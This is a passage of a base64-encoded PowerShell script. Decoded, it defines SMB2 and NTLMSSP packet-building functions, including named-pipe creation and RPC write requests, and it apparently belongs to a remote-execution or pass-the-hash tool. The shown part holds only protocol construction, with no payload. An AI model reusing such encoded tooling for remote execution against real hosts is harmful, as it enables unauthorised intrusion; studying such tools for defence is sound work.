WFkZXJfQ2hhbm5lbFNlcXVlbmNlIixbQnl0ZVtdXSgweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfU01CMkhlYWRlci5BZGQoIlNNQjJIZWFkZXJfUmVzZXJ2ZWQiLFtCeXRlW11dKDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9TTUIySGVhZGVyLkFkZCgiU01CMkhlYWRlcl9Db21tYW5kIiwkcGFja2V0X2NvbW1hbmQpDQogICAgJHBhY2tldF9TTUIySGVhZGVyLkFkZCgiU01CMkhlYWRlcl9DcmVkaXRSZXF1ZXN0IixbQnl0ZVtdXSgweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfU01CMkhlYWRlci5BZGQoIlNNQjJIZWFkZXJfRmxhZ3MiLFtCeXRlW11dKDB4MDAsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfU01CMkhlYWRlci5BZGQoIlNNQjJIZWFkZXJfTmV4dENvbW1hbmQiLFtCeXRlW11dKDB4MDAsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfU01CMkhlYWRlci5BZGQoIlNNQjJIZWFkZXJfTWVzc2FnZUlEIiwkcGFja2V0X21lc3NhZ2VfSUQpDQogICAgJHBhY2tldF9TTUIySGVhZGVyLkFkZCgiU01CMkhlYWRlcl9SZXNlcnZlZDIiLFtCeXRlW11dKDB4MDAsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfU01CMkhlYWRlci5BZGQoIlNNQjJIZWFkZXJfVHJlZUlEIiwkcGFja2V0X3RyZWVfSUQpDQogICAgJHBhY2tldF9TTUIySGVhZGVyLkFkZCgiU01CMkhlYWRlcl9TZXNzaW9uSUQiLCRwYWNrZXRfc2Vzc2lvbl9JRCkNCiAgICAkcGFja2V0X1NNQjJIZWFkZXIuQWRkKCJTTUIySGVhZGVyX1NpZ25hdHVyZSIsW0J5dGVbXV0oMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCkpDQoNCiAgICByZXR1cm4gJHBhY2tldF9TTUIySGVhZGVyDQp9DQoNCmZ1bmN0aW9uIEdldC1QYWNrZXRTTUIyTmVnb3RpYXRlUHJvdG9jb2xSZXF1ZXN0KCkNCnsNCiAgICAkcGFja2V0X1NNQjJOZWdvdGlhdGVQcm90b2NvbFJlcXVlc3QgPSBOZXctT2JqZWN0IFN5c3RlbS5Db2xsZWN0aW9ucy5TcGVjaWFsaXplZC5PcmRlcmVkRGljdGlvbmFyeQ0KICAgICRwYWNrZXRfU01CMk5lZ290aWF0ZVByb3RvY29sUmVxdWVzdC5BZGQoIlNNQjJOZWdvdGlhdGVQcm90b2NvbFJlcXVlc3RfU3RydWN0dXJlU2l6ZSIsW0J5dGVbXV0oMHgyNCwweDAwKSkNCiAgICAkcGFja2V0X1NNQjJOZWdvdGlhdGVQcm90b2NvbFJlcXVlc3QuQWRkKCJTTUIyTmVnb3RpYXRlUHJvdG9jb2xSZXF1ZXN0X0RpYWxlY3RDb3VudCIsW0J5dGVbXV0oMHgwMiwweDAwKSkNCiAgICAkcGFja2V0X1NNQjJOZWdvdGlhdGVQcm90b2NvbFJlcXVlc3QuQWRkKCJTTUIyTmVnb3RpYXRlUHJvdG9jb2xSZXF1ZXN0X1NlY3VyaXR5TW9kZSIsW0J5dGVbXV0oMHgwMSwweDAwKSkNCiAgICAkcGFja2V0X1NNQjJOZWdvdGlhdGVQcm90b2NvbFJlcXVlc3QuQWRkKCJTTUIyTmVnb3RpYXRlUHJvdG9jb2xSZXF1ZXN0X1Jlc2VydmVkIixbQnl0ZVtdXSgweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfU01CMk5lZ290aWF0ZVByb3RvY29sUmVxdWVzdC5BZGQoIlNNQjJOZWdvdGlhdGVQcm90b2NvbFJlcXVlc3RfQ2FwYWJpbGl0aWVzIixbQnl0ZVtdXSgweDQwLDB4MDAsMHgwMCwweDAwKSkNCiAgICAkcGFja2V0X1NNQjJOZWdvdGlhdGVQcm90b2NvbFJlcXVlc3QuQWRkKCJTTUIyTmVnb3RpYXRlUHJvdG9jb2xSZXF1ZXN0X0NsaWVudEdVSUQiLFtCeXRlW11dKDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfU01CMk5lZ290aWF0ZVByb3RvY29sUmVxdWVzdC5BZGQoIlNNQjJOZWdvdGlhdGVQcm90b2NvbFJlcXVlc3RfTmVnb3RpYXRlQ29udGV4dE9mZnNldCIsW0J5dGVbXV0oMHgwMCwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9TTUIyTmVnb3RpYXRlUHJvdG9jb2xSZXF1ZXN0LkFkZCgiU01CMk5lZ290aWF0ZVByb3RvY29sUmVxdWVzdF9OZWdvdGlhdGVDb250ZXh0Q291bnQiLFtCeXRlW11dKDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9TTUIyTmVnb3RpYXRlUHJvdG9jb2xSZXF1ZXN0LkFkZCgiU01CMk5lZ290aWF0ZVByb3RvY29sUmVxdWVzdF9SZXNlcnZlZDIiLFtCeXRlW11dKDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9TTUIyTmVnb3RpYXRlUHJvdG9jb2xSZXF1ZXN0LkFkZCgiU01CMk5lZ290aWF0ZVByb3RvY29sUmVxdWVzdF9EaWFsZWN0IixbQnl0ZVtdXSgweDAyLDB4MDIpKQ0KICAgICRwYWNrZXRfU01CMk5lZ290aWF0ZVByb3RvY29sUmVxdWVzdC5BZGQoIlNNQjJOZWdvdGlhdGVQcm90b2NvbFJlcXVlc3RfRGlhbGVjdDIiLFtCeXRlW11dKDB4MTAsMHgwMikpDQoNCiAgICByZXR1cm4gJHBhY2tldF9TTUIyTmVnb3RpYXRlUHJvdG9jb2xSZXF1ZXN0DQp9DQoNCmZ1bmN0aW9uIEdldC1QYWNrZXRTTUIyU2Vzc2lvblNldHVwUmVxdWVzdCgpDQp7DQogICAgcGFyYW0oW0J5dGVbXV0kcGFja2V0X3NlY3VyaXR5X2Jsb2IpDQoNCiAgICBbQnl0ZVtdXSRwYWNrZXRfc2VjdXJpdHlfYmxvYl9sZW5ndGggPSBbU3lzdGVtLkJpdENvbnZlcnRlcl06OkdldEJ5dGVzKCRwYWNrZXRfc2VjdXJpdHlfYmxvYi5MZW5ndGgpDQogICAgJHBhY2tldF9zZWN1cml0eV9ibG9iX2xlbmd0aCA9ICRwYWNrZXRfc2VjdXJpdHlfYmxvYl9sZW5ndGhbMCwxXQ0KDQogICAgJHBhY2tldF9TTUIyU2Vzc2lvblNldHVwUmVxdWVzdCA9IE5ldy1PYmplY3QgU3lzdGVtLkNvbGxlY3Rpb25zLlNwZWNpYWxpemVkLk9yZGVyZWREaWN0aW9uYXJ5DQogICAgJHBhY2tldF9TTUIyU2Vzc2lvblNldHVwUmVxdWVzdC5BZGQoIlNNQjJTZXNzaW9uU2V0dXBSZXF1ZXN0X1N0cnVjdHVyZVNpemUiLFtCeXRlW11dKDB4MTksMHgwMCkpDQogICAgJHBhY2tldF9TTUIyU2Vzc2lvblNldHVwUmVxdWVzdC5BZGQoIlNNQjJTZXNzaW9uU2V0dXBSZXF1ZXN0X0ZsYWdzIixbQnl0ZVtdXSgweDAwKSkNCiAgICAkcGFja2V0X1NNQjJTZXNzaW9uU2V0dXBSZXF1ZXN0LkFkZCgiU01CMlNlc3Npb25TZXR1cFJlcXVlc3RfU2VjdXJpdHlNb2RlIixbQnl0ZVtdXSgweDAxKSkNCiAgICAkcGFja2V0X1NNQjJTZXNzaW9uU2V0dXBSZXF1ZXN0LkFkZCgiU01CMlNlc3Npb25TZXR1cFJlcXVlc3RfQ2FwYWJpbGl0aWVzIixbQnl0ZVtdXSgweDAwLDB4MDAsMHgwMCwweDAwKSkNCiAgICAkcGFja2V0X1NNQjJTZXNzaW9uU2V0dXBSZXF1ZXN0LkFkZCgiU01CMlNlc3Npb25TZXR1cFJlcXVlc3RfQ2hhbm5lbCIsW0J5dGVbXV0oMHgwMCwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9TTUIyU2Vzc2lvblNldHVwUmVxdWVzdC5BZGQoIlNNQjJTZXNzaW9uU2V0dXBSZXF1ZXN0X1NlY3VyaXR5QnVmZmVyT2Zmc2V0IixbQnl0ZVtdXSgweDU4LDB4MDApKQ0KICAgICRwYWNrZXRfU01CMlNlc3Npb25TZXR1cFJlcXVlc3QuQWRkKCJTTUIyU2Vzc2lvblNldHVwUmVxdWVzdF9TZWN1cml0eUJ1ZmZlckxlbmd0aCIsJHBhY2tldF9zZWN1cml0eV9ibG9iX2xlbmd0aCkNCiAgICAkcGFja2V0X1NNQjJTZXNzaW9uU2V0dXBSZXF1ZXN0LkFkZCgiU01CMlNlc3Npb25TZXR1cFJlcXVlc3RfUHJldmlvdXNTZXNzaW9uSUQiLFtCeXRlW11dKDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9TTUIyU2Vzc2lvblNldHVwUmVxdWVzdC5BZGQoIlNNQjJTZXNzaW9uU2V0dXBSZXF1ZXN0X0J1ZmZlciIsJHBhY2tldF9zZWN1cml0eV9ibG9iKQ0KDQogICAgcmV0dXJuICRwYWNrZXRfU01CMlNlc3Npb25TZXR1cFJlcXVlc3QgDQp9DQoNCmZ1bmN0aW9uIEdldC1QYWNrZXRTTUIyVHJlZUNvbm5lY3RSZXF1ZXN0KCkNCnsNCiAgICBwYXJhbShbQnl0ZVtdXSRwYWNrZXRfcGF0aCkNCg0KICAgIFtCeXRlW11dJHBhY2tldF9wYXRoX2xlbmd0aCA9IFtTeXN0ZW0uQml0Q29udmVydGVyXTo6R2V0Qnl0ZXMoJHBhY2tldF9wYXRoLkxlbmd0aCkNCiAgICAkcGFja2V0X3BhdGhfbGVuZ3RoID0gJHBhY2tldF9wYXRoX2xlbmd0aFswLDFdDQoNCiAgICAkcGFja2V0X1NNQjJUcmVlQ29ubmVjdFJlcXVlc3QgPSBOZXctT2JqZWN0IFN5c3RlbS5Db2xsZWN0aW9ucy5TcGVjaWFsaXplZC5PcmRlcmVkRGljdGlvbmFyeQ0KICAgICRwYWNrZXRfU01CMlRyZWVDb25uZWN0UmVxdWVzdC5BZGQoIlNNQjJUcmVlQ29ubmVjdFJlcXVlc3RfU3RydWN0dXJlU2l6ZSIsW0J5dGVbXV0oMHgwOSwweDAwKSkNCiAgICAkcGFja2V0X1NNQjJUcmVlQ29ubmVjdFJlcXVlc3QuQWRkKCJTTUIyVHJlZUNvbm5lY3RSZXF1ZXN0X1Jlc2VydmVkIixbQnl0ZVtdXSgweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfU01CMlRyZWVDb25uZWN0UmVxdWVzdC5BZGQoIlNNQjJUcmVlQ29ubmVjdFJlcXVlc3RfUGF0aE9mZnNldCIsW0J5dGVbXV0oMHg0OCwweDAwKSkNCiAgICAkcGFja2V0X1NNQjJUcmVlQ29ubmVjdFJlcXVlc3QuQWRkKCJTTUIyVHJlZUNvbm5lY3RSZXF1ZXN0X1BhdGhMZW5ndGgiLCRwYWNrZXRfcGF0aF9sZW5ndGgpDQogICAgJHBhY2tldF9TTUIyVHJlZUNvbm5lY3RSZXF1ZXN0LkFkZCgiU01CMlRyZWVDb25uZWN0UmVxdWVzdF9CdWZmZXIiLCRwYWNrZXRfcGF0aCkNCg0KICAgIHJldHVybiAkcGFja2V0X1NNQjJUcmVlQ29ubmVjdFJlcXVlc3QNCn0NCg0KZnVuY3Rpb24gR2V0LVBhY2tldFNNQjJDcmVhdGVSZXF1ZXN0RmlsZSgpDQp7DQogICAgcGFyYW0oW0J5dGVbXV0kcGFja2V0X25hbWVkX3BpcGUpDQoNCiAgICAkcGFja2V0X25hbWVkX3BpcGVfbGVuZ3RoID0gW1N5c3RlbS5CaXRDb252ZXJ0ZXJdOjpHZXRCeXRlcygkcGFja2V0X25hbWVkX3BpcGUuTGVuZ3RoKQ0KICAgICRwYWNrZXRfbmFtZWRfcGlwZV9sZW5ndGggPSAkcGFja2V0X25hbWVkX3BpcGVfbGVuZ3RoWzAsMV0NCg0KICAgICRwYWNrZXRfU01CMkNyZWF0ZVJlcXVlc3RGaWxlID0gTmV3LU9iamVjdCBTeXN0ZW0uQ29sbGVjdGlvbnMuU3BlY2lhbGl6ZWQuT3JkZXJlZERpY3Rpb25hcnkNCiAgICAkcGFja2V0X1NNQjJDcmVhdGVSZXF1ZXN0RmlsZS5BZGQoIlNNQjJDcmVhdGVSZXF1ZXN0RmlsZV9TdHJ1Y3R1cmVTaXplIixbQnl0ZVtdXSgweDM5LDB4MDApKQ0KICAgICRwYWNrZXRfU01CMkNyZWF0ZVJlcXVlc3RGaWxlLkFkZCgiU01CMkNyZWF0ZVJlcXVlc3RGaWxlX0ZsYWdzIixbQnl0ZVtdXSgweDAwKSkNCiAgICAkcGFja2V0X1NNQjJDcmVhdGVSZXF1ZXN0RmlsZS5BZGQoIlNNQjJDcmVhdGVSZXF1ZXN0RmlsZV9SZXF1ZXN0ZWRPcGxvY2tMZXZlbCIsW0J5dGVbXV0oMHgwMCkpDQogICAgJHBhY2tldF9TTUIyQ3JlYXRlUmVxdWVzdEZpbGUuQWRkKCJTTUIyQ3JlYXRlUmVxdWVzdEZpbGVfSW1wZXJzb25hdGlvbiIsW0J5dGVbXV0oMHgwMiwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9TTUIyQ3JlYXRlUmVxdWVzdEZpbGUuQWRkKCJTTUIyQ3JlYXRlUmVxdWVzdEZpbGVfU01CQ3JlYXRlRmxhZ3MiLFtCeXRlW11dKDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9TTUIyQ3JlYXRlUmVxdWVzdEZpbGUuQWRkKCJTTUIyQ3JlYXRlUmVxdWVzdEZpbGVfUmVzZXJ2ZWQiLFtCeXRlW11dKDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9TTUIyQ3JlYXRlUmVxdWVzdEZpbGUuQWRkKCJTTUIyQ3JlYXRlUmVxdWVzdEZpbGVfRGVzaXJlZEFjY2VzcyIsW0J5dGVbXV0oMHgwMywweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9TTUIyQ3JlYXRlUmVxdWVzdEZpbGUuQWRkKCJTTUIyQ3JlYXRlUmVxdWVzdEZpbGVfRmlsZUF0dHJpYnV0ZXMiLFtCeXRlW11dKDB4ODAsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfU01CMkNyZWF0ZVJlcXVlc3RGaWxlLkFkZCgiU01CMkNyZWF0ZVJlcXVlc3RGaWxlX1NoYXJlQWNjZXNzIixbQnl0ZVtdXSgweDAxLDB4MDAsMHgwMCwweDAwKSkNCiAgICAkcGFja2V0X1NNQjJDcmVhdGVSZXF1ZXN0RmlsZS5BZGQoIlNNQjJDcmVhdGVSZXF1ZXN0RmlsZV9DcmVhdGVEaXNwb3NpdGlvbiIsW0J5dGVbXV0oMHgwMSwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9TTUIyQ3JlYXRlUmVxdWVzdEZpbGUuQWRkKCJTTUIyQ3JlYXRlUmVxdWVzdEZpbGVfQ3JlYXRlT3B0aW9ucyIsW0J5dGVbXV0oMHg0MCwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9TTUIyQ3JlYXRlUmVxdWVzdEZpbGUuQWRkKCJTTUIyQ3JlYXRlUmVxdWVzdEZpbGVfTmFtZU9mZnNldCIsW0J5dGVbXV0oMHg3OCwweDAwKSkNCiAgICAkcGFja2V0X1NNQjJDcmVhdGVSZXF1ZXN0RmlsZS5BZGQoIlNNQjJDcmVhdGVSZXF1ZXN0RmlsZV9OYW1lTGVuZ3RoIiwkcGFja2V0X25hbWVkX3BpcGVfbGVuZ3RoKQ0KICAgICRwYWNrZXRfU01CMkNyZWF0ZVJlcXVlc3RGaWxlLkFkZCgiU01CMkNyZWF0ZVJlcXVlc3RGaWxlX0NyZWF0ZUNvbnRleHRzT2Zmc2V0IixbQnl0ZVtdXSgweDAwLDB4MDAsMHgwMCwweDAwKSkNCiAgICAkcGFja2V0X1NNQjJDcmVhdGVSZXF1ZXN0RmlsZS5BZGQoIlNNQjJDcmVhdGVSZXF1ZXN0RmlsZV9DcmVhdGVDb250ZXh0c0xlbmd0aCIsW0J5dGVbXV0oMHgwMCwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9TTUIyQ3JlYXRlUmVxdWVzdEZpbGUuQWRkKCJTTUIyQ3JlYXRlUmVxdWVzdEZpbGVfQnVmZmVyIiwkcGFja2V0X25hbWVkX3BpcGUpDQoNCiAgICByZXR1cm4gJHBhY2tldF9TTUIyQ3JlYXRlUmVxdWVzdEZpbGUNCn0NCg0KZnVuY3Rpb24gR2V0LVBhY2tldFNNQjJSZWFkUmVxdWVzdCgpDQp7DQogICAgcGFyYW0gKFtCeXRlW11dJHBhY2tldF9maWxlX0lEKQ0KDQogICAgJHBhY2tldF9TTUIyUmVhZFJlcXVlc3QgPSBOZXctT2JqZWN0IFN5c3RlbS5Db2xsZWN0aW9ucy5TcGVjaWFsaXplZC5PcmRlcmVkRGljdGlvbmFyeQ0KICAgICRwYWNrZXRfU01CMlJlYWRSZXF1ZXN0LkFkZCgiU01CMlJlYWRSZXF1ZXN0X1N0cnVjdHVyZVNpemUiLFtCeXRlW11dKDB4MzEsMHgwMCkpDQogICAgJHBhY2tldF9TTUIyUmVhZFJlcXVlc3QuQWRkKCJTTUIyUmVhZFJlcXVlc3RfUGFkZGluZyIsW0J5dGVbXV0oMHg1MCkpDQogICAgJHBhY2tldF9TTUIyUmVhZFJlcXVlc3QuQWRkKCJTTUIyUmVhZFJlcXVlc3RfRmxhZ3MiLFtCeXRlW11dKDB4MDApKQ0KICAgICRwYWNrZXRfU01CMlJlYWRSZXF1ZXN0LkFkZCgiU01CMlJlYWRSZXF1ZXN0X0xlbmd0aCIsW0J5dGVbXV0oMHgwMCwweDAwLDB4MTAsMHgwMCkpDQogICAgJHBhY2tldF9TTUIyUmVhZFJlcXVlc3QuQWRkKCJTTUIyUmVhZFJlcXVlc3RfT2Zmc2V0IixbQnl0ZVtdXSgweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfU01CMlJlYWRSZXF1ZXN0LkFkZCgiU01CMlJlYWRSZXF1ZXN0X0ZpbGVJRCIsJHBhY2tldF9maWxlX0lEKQ0KICAgICRwYWNrZXRfU01CMlJlYWRSZXF1ZXN0LkFkZCgiU01CMlJlYWRSZXF1ZXN0X01pbmltdW1Db3VudCIsW0J5dGVbXV0oMHgwMCwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9TTUIyUmVhZFJlcXVlc3QuQWRkKCJTTUIyUmVhZFJlcXVlc3RfQ2hhbm5lbCIsW0J5dGVbXV0oMHgwMCwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9TTUIyUmVhZFJlcXVlc3QuQWRkKCJTTUIyUmVhZFJlcXVlc3RfUmVtYWluaW5nQnl0ZXMiLFtCeXRlW11dKDB4MDAsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfU01CMlJlYWRSZXF1ZXN0LkFkZCgiU01CMlJlYWRSZXF1ZXN0X1JlYWRDaGFubmVsSW5mb09mZnNldCIsW0J5dGVbXV0oMHgwMCwweDAwKSkNCiAgICAkcGFja2V0X1NNQjJSZWFkUmVxdWVzdC5BZGQoIlNNQjJSZWFkUmVxdWVzdF9SZWFkQ2hhbm5lbEluZm9MZW5ndGgiLFtCeXRlW11dKDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9TTUIyUmVhZFJlcXVlc3QuQWRkKCJTTUIyUmVhZFJlcXVlc3RfQnVmZmVyIixbQnl0ZVtdXSgweDMwKSkNCg0KICAgIHJldHVybiAkcGFja2V0X1NNQjJSZWFkUmVxdWVzdA0KfQ0KDQpmdW5jdGlvbiBHZXQtUGFja2V0U01CMldyaXRlUmVxdWVzdCgpDQp7DQogICAgcGFyYW0oW0J5dGVbXV0kcGFja2V0X2ZpbGVfSUQsW0ludF0kcGFja2V0X1JQQ19sZW5ndGgpDQoNCiAgICBbQnl0ZVtdXSRwYWNrZXRfd3JpdGVfbGVuZ3RoID0gW1N5c3RlbS5CaXRDb252ZXJ0ZXJdOjpHZXRCeXRlcygkcGFja2V0X1JQQ19sZW5ndGggKyAyNCkNCg0KICAgICRwYWNrZXRfU01CMldyaXRlUmVxdWVzdCA9IE5ldy1PYmplY3QgU3lzdGVtLkNvbGxlY3Rpb25zLlNwZWNpYWxpemVkLk9yZGVyZWREaWN0aW9uYXJ5DQogICAgJHBhY2tldF9TTUIyV3JpdGVSZXF1ZXN0LkFkZCgiU01CMldyaXRlUmVxdWVzdF9TdHJ1Y3R1cmVTaXplIixbQnl0ZVtdXSgweDMxLDB4MDApKQ0KICAgICRwYWNrZXRfU01CMldyaXRlUmVxdWVzdC5BZGQoIlNNQjJXcml0ZVJlcXVlc3RfRGF0YU9mZnNldCIsW0J5dGVbXV0oMHg3MCwweDAwKSkNCiAgICAkcGFja2V0X1NNQjJXcml0ZVJlcXVlc3QuQWRkKCJTTUIyV3JpdGVSZXF1ZXN0X0xlbmd0aCIsJHBhY2tldF93cml0ZV9sZW5ndGgpDQogICAgJHBhY2tldF9TTUIyV3JpdGVSZXF1ZXN0LkFkZCgiU01CMldyaXRlUmVxdWVzdF9PZmZzZXQiLFtCeXRlW11dKDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9TTUIyV3JpdGVSZXF1ZXN0LkFkZCgiU01CMldyaXRlUmVxdWVzdF9GaWxlSUQiLCRwYWNrZXRfZmlsZV9JRCkNCiAgICAkcGFja2V0X1NNQjJXcml0ZVJlcXVlc3QuQWRkKCJTTUIyV3JpdGVSZXF1ZXN0X0NoYW5uZWwiLFtCeXRlW11dKDB4MDAsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfU01CMldyaXRlUmVxdWVzdC5BZGQoIlNNQjJXcml0ZVJlcXVlc3RfUmVtYWluaW5nQnl0ZXMiLFtCeXRlW11dKDB4MDAsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfU01CMldyaXRlUmVxdWVzdC5BZGQoIlNNQjJXcml0ZVJlcXVlc3RfV3JpdGVDaGFubmVsSW5mb09mZnNldCIsW0J5dGVbXV0oMHgwMCwweDAwKSkNCiAgICAkcGFja2V0X1NNQjJXcml0ZVJlcXVlc3QuQWRkKCJTTUIyV3JpdGVSZXF1ZXN0X1dyaXRlQ2hhbm5lbEluZm9MZW5ndGgiLFtCeXRlW11dKDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9TTUIyV3JpdGVSZXF1ZXN0LkFkZCgiU01CMldyaXRlUmVxdWVzdF9GbGFncyIsW0J5dGVbXV0oMHgwMCwweDAwLDB4MDAsMHgwMCkpDQoNCiAgICByZXR1cm4gJHBhY2tldF9TTUIyV3JpdGVSZXF1ZXN0DQp9DQoNCmZ1bmN0aW9uIEdldC1QYWNrZXRTTUIyQ2xvc2VSZXF1ZXN0KCkNCnsNCiAgICBwYXJhbSAoW0J5dGVbXV0kcGFja2V0X2ZpbGVfSUQpDQoNCiAgICAkcGFja2V0X1NNQjJDbG9zZVJlcXVlc3QgPSBOZXctT2JqZWN0IFN5c3RlbS5Db2xsZWN0aW9ucy5TcGVjaWFsaXplZC5PcmRlcmVkRGljdGlvbmFyeQ0KICAgICRwYWNrZXRfU01CMkNsb3NlUmVxdWVzdC5BZGQoIlNNQjJDbG9zZVJlcXVlc3RfU3RydWN0dXJlU2l6ZSIsW0J5dGVbXV0oMHgxOCwweDAwKSkNCiAgICAkcGFja2V0X1NNQjJDbG9zZVJlcXVlc3QuQWRkKCJTTUIyQ2xvc2VSZXF1ZXN0X0ZsYWdzIixbQnl0ZVtdXSgweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfU01CMkNsb3NlUmVxdWVzdC5BZGQoIlNNQjJDbG9zZVJlcXVlc3RfUmVzZXJ2ZWQiLFtCeXRlW11dKDB4MDAsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfU01CMkNsb3NlUmVxdWVzdC5BZGQoIlNNQjJDbG9zZVJlcXVlc3RfRmlsZUlEIiwkcGFja2V0X2ZpbGVfSUQpDQoNCiAgICByZXR1cm4gJHBhY2tldF9TTUIyQ2xvc2VSZXF1ZXN0DQp9DQoNCmZ1bmN0aW9uIEdldC1QYWNrZXRTTUIyVHJlZURpc2Nvbm5lY3RSZXF1ZXN0KCkNCnsNCiAgICAkcGFja2V0X1NNQjJUcmVlRGlzY29ubmVjdFJlcXVlc3QgPSBOZXctT2JqZWN0IFN5c3RlbS5Db2xsZWN0aW9ucy5TcGVjaWFsaXplZC5PcmRlcmVkRGljdGlvbmFyeQ0KICAgICRwYWNrZXRfU01CMlRyZWVEaXNjb25uZWN0UmVxdWVzdC5BZGQoIlNNQjJUcmVlRGlzY29ubmVjdFJlcXVlc3RfU3RydWN0dXJlU2l6ZSIsW0J5dGVbXV0oMHgwNCwweDAwKSkNCiAgICAkcGFja2V0X1NNQjJUcmVlRGlzY29ubmVjdFJlcXVlc3QuQWRkKCJTTUIyVHJlZURpc2Nvbm5lY3RSZXF1ZXN0X1Jlc2VydmVkIixbQnl0ZVtdXSgweDAwLDB4MDApKQ0KDQogICAgcmV0dXJuICRwYWNrZXRfU01CMlRyZWVEaXNjb25uZWN0UmVxdWVzdA0KfQ0KDQpmdW5jdGlvbiBHZXQtUGFja2V0U01CMlNlc3Npb25Mb2dvZmZSZXF1ZXN0KCkNCnsNCiAgICAkcGFja2V0X1NNQjJTZXNzaW9uTG9nb2ZmUmVxdWVzdCA9IE5ldy1PYmplY3QgU3lzdGVtLkNvbGxlY3Rpb25zLlNwZWNpYWxpemVkLk9yZGVyZWREaWN0aW9uYXJ5DQogICAgJHBhY2tldF9TTUIyU2Vzc2lvbkxvZ29mZlJlcXVlc3QuQWRkKCJTTUIyU2Vzc2lvbkxvZ29mZlJlcXVlc3RfU3RydWN0dXJlU2l6ZSIsW0J5dGVbXV0oMHgwNCwweDAwKSkNCiAgICAkcGFja2V0X1NNQjJTZXNzaW9uTG9nb2ZmUmVxdWVzdC5BZGQoIlNNQjJTZXNzaW9uTG9nb2ZmUmVxdWVzdF9SZXNlcnZlZCIsW0J5dGVbXV0oMHgwMCwweDAwKSkNCg0KICAgIHJldHVybiAkcGFja2V0X1NNQjJTZXNzaW9uTG9nb2ZmUmVxdWVzdA0KfQ0KDQojTlRMTQ0KDQpmdW5jdGlvbiBHZXQtUGFja2V0TlRMTVNTUE5lZ290aWF0ZSgpDQp7DQogICAgcGFyYW0oW0J5dGVbXV0kcGFja2V0X25lZ290aWF0ZV9mbGFncyxbQnl0ZVtdXSRwYWNrZXRfdmVyc2lvbikNCg0KICAgIFtCeXRlW11dJHBhY2tldF9OVExNU1NQX2xlbmd0aCA9IFtTeXN0ZW0uQml0Q29udmVydGVyXTo6R2V0Qnl0ZXMoMzIgKyAkcGFja2V0X3ZlcnNpb24uTGVuZ3RoKQ0KICAgICRwYWNrZXRfTlRMTVNTUF9sZW5ndGggPSAkcGFja2V0X05UTE1TU1BfbGVuZ3RoWzBdDQogICAgW0J5dGVbXV0kcGFja2V0X0FTTl9sZW5ndGhfMSA9ICRwYWNrZXRfTlRMTVNTUF9sZW5ndGhbMF0gKyAzMg0KICAgIFtCeXRlW11dJHBhY2tldF9BU05fbGVuZ3RoXzIgPSAkcGFja2V0X05UTE1TU1BfbGVuZ3RoWzBdICsgMjINCiAgICBbQnl0ZVtdXSRwYWNrZXRfQVNOX2xlbmd0aF8zID0gJHBhY2tldF9OVExNU1NQX2xlbmd0aFswXSArIDIwDQogICAgW0J5dGVbXV0kcGFja2V0X0FTTl9sZW5ndGhfNCA9ICRwYWNrZXRfTlRMTVNTUF9sZW5ndGhbMF0gKyAyDQoNCiAgICAkcGFja2V0X05UTE1TU1BOZWdvdGlhdGUgPSBOZXctT2JqZWN0IFN5c3RlbS5Db2xsZWN0aW9ucy5TcGVjaWFsaXplZC5PcmRlcmVkRGljdGlvbmFyeQ0KICAgICRwYWNrZXRfTlRMTVNTUE5lZ290aWF0ZS5BZGQoIk5UTE1TU1BOZWdvdGlhdGVfSW5pdGlhbENvbnRleHRUb2tlbklEIixbQnl0ZVtdXSgweDYwKSkgIyB0aGUgQVNOLjEga2V5IG5hbWVzIGFyZSBsaWtlbHkgbm90IGFsbCBjb3JyZWN0DQogICAgJHBhY2tldF9OVExNU1NQTmVnb3RpYXRlLkFkZCgiTlRMTVNTUE5lZ290aWF0ZV9Jbml0aWFsY29udGV4dFRva2VuTGVuZ3RoIiwkcGFja2V0X0FTTl9sZW5ndGhfMSkNCiAgICAkcGFja2V0X05UTE1TU1BOZWdvdGlhdGUuQWRkKCJOVExNU1NQTmVnb3RpYXRlX1RoaXNNZWNoSUQiLFtCeXRlW11dKDB4MDYpKQ0KICAgICRwYWNrZXRfTlRMTVNTUE5lZ290aWF0ZS5BZG